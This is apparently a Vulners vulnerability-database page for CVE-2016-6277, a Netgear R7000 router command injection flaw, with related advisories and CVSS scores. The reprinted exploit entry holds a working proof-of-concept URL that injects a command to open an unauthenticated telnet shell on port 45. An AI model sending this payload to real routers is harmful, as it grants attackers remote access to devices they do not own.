Netgear R7000 - Command Injection
| Reporter | Title | Published | Views | Family All 34 |
|---|---|---|---|---|
 | Netgear R7000 / R6400 cgi-bin Command Injection Exploit | 12 Mar 201700:00 | – | zdt |
| Netgear R6400 - Remote Code Execution Exploit | 17 Dec 201900:00 | – | zdt |
 | CVE-2016-6277 | 14 Dec 201600:00 | – | attackerkb |
 | NETGEAR Router Command Execution | 6 Mar 202300:00 | – | bdu_fstec |
 | CVE-2016-6277 | 7 Dec 201600:00 | – | circl |
 | NETGEAR Multiple Routers Remote Code Execution Vulnerability | 7 Mar 202200:00 | – | cisa_kev |
 | CISA Adds 11 Known Exploited Vulnerabilities to Catalog | 7 Mar 202200:00 | – | cisa |
 | Arbitrary Command Injection Vulnerability in a Variety of Netgear Netgear Routers | 9 Dec 201600:00 | – | cnvd |
 | Netgear R7000 and R6400 cgi-bin Command Injection (CVE-2016-6277) | 23 May 201700:00 | – | checkpoint_advisories |
 | CVE-2016-6277 | 14 Dec 201616:00 | – | cve |
10
# Exploit Title: Netgear R7000 - Command Injection
# Date: 6-12-2016
# Exploit Author: Acew0rm
# Contact: https://twitter.com/Acew0rm1
# Vendor Homepage: https://www.netgear.com/
# Category: Hardware
# Version: V1.0.7.2_1.1.93
-Vulnerability
An unauthenticated user can inject commands threw
http://RouterIP/cgi-bin/;COMMAND.
-Proof Of Concept
http://RouterIP/;telnetd$IFS-p$IFS'45' will open telnet on port 45.Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation
21 Dec 2017 00:00Current
7.7High risk
Vulners AI Score7.7
CVSS 3.18.8
CVSS 29.3
EPSS0.99803
SSVC